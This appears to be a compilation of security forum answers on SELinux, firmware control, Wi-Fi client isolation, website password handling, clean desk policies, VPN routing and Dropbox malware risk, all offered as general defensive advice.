At NSA, they have requirement to use Mandatory Access Control which is called SELinux in Fedora. It's good even on the desktop, you can sandbox command line utility which is running on another user, which gives you similar process security to the one on Android.

Regarding firmware, the good approach is to be able to over-write and read all firmware by yourself, which is mostly doable today. Like you can read / write BIOS (and even lock it permanently), you can load firmware to Ethernet and Wifi.

And keep the source code in Git. It makes sure that there's no one tampering anything.

Regarding plugging USB sticks, you can disable certain types of devices from ports, like allow only storage but not keyboards etc.


Hiding IPs in a public WiFi network by ISP

http://www.howtogeek.com/179089/lock-down-your-wi-fi-network-with-your-routers-wireless-isolation-option/

  [Client isolation] confines and restricts clients connected to the Wi-Fi network. They can’t interact with devices connected to the more secure wired network, nor can they communicate with each other. They can only access the Internet.

Indeed, this is either AP isolation, or an IPS-like function in the router. My cheap  Sitecom router has a function labeled 'Block NMap scan' and it does about the same thing, depending on what scanmode i use.

However this is not done by the ISP :)

With NMap, if you're scanning the devices there, seeing just the gateway, you interrogate the LAN (local area). The ISP will usually not have a clou this is happening.
If you were scanning external devices, say, a website, this would go over WAN (wide area), this is something the ISP could see and possibly influence.


Should I trust a website which breaks when I use a complex password?

Your description is that the site fails to properly validate their input.  This (weakly) implies a deep flaw in their code.  If your input had simply choked their routine that calls PBKDF2(), then your password hash might not have been reproducible; but I would expect a simple password reset should have been adequate to clear up that problem.  Deleting your account might indicate that your account record was corrupt; however, deleting accounts might simply be their response to anyone who has a password problem due to unexpected user input.  They might even be trying to actively thwart hackers with this response.

Also, flawed doesn't necessarily mean their site is vulnerable.  The defective code would need to be exploitable, and you didn't supply evidence of that.  Such evidence might include erratic behavior or inexplicably changed values.

If you decide to press further, perhaps testing individual password characters to isolate the glyph that caused their site to lock your account, know that they would be within their rights to consider those attempts to be a hacking attack.  Seek the site owner's permission before experimenting.

Note that if instead of using high-bit-set characters, you construct your password from 16 cryptographically random, high-bit-unset, standard, ordinary, printable ASCII alphanumeric characters, the practical difference to your password's security will be irrelevant.


How does a clean desk policy provide security benefits?

Clean desks policies are rather literal in the sense they don't mean that the papers on your desk need to be organized...They mean that you're not allowed to have papers on your desk at all.   So, no papers left unlocked on a desk mean no papers with sensitive information for others to trawl through after hours.

Sensitive data doesn't only include password.  Engineering designs, sensitive communications, financial information...There is lots of data that could be on paper that a company wouldn't want left around for just anyone to find.


Speed issues with VPN to cooperate network in Europe from Asia - is it possible to attach a local VPN server to the europe network?

Yes, this is definitely possible and is likely a good solution to your problem, assuming it is set up properly. Firewall rules and routing should solve most of the usability and security issues.

I don't think there is a particular name for this, as it is still just a VPN configuration. Maybe split tunnelling works to describe it?


Does Dropbox offer any protection against infected files?

Yes, it is possible. Just as you could get infected if one of your colleagues shared and infected Word Document file by email or a usb flash drive.

(I am assuming that you are also triggering the payload by opening the infected document, executing the program, etc. A virus file residing in your hard drive won't infect you by its mere existence.)

Dropbox doesn't scan your files with an antivirus, as stated in https://www.dropbox.com/help/8406. But even if it did, it would still be possible to get infected by a virus not detected by its solution.

You should take the normal protection measures, such as running an up-to-date antivirus in your computer. But there's no reason to stop using Dropbox just for fear of virus. The risk -if they happen to get infected- is in sharing the files with your colleagues. And I assume that's something you want (need) to do ;)

PS: The only difference would be that using Dropbox may make you receive the infected file faster. But on the other hand Dropbox history feature would also allow you to recover a pre-infection version of the files, which might not be available otherwise.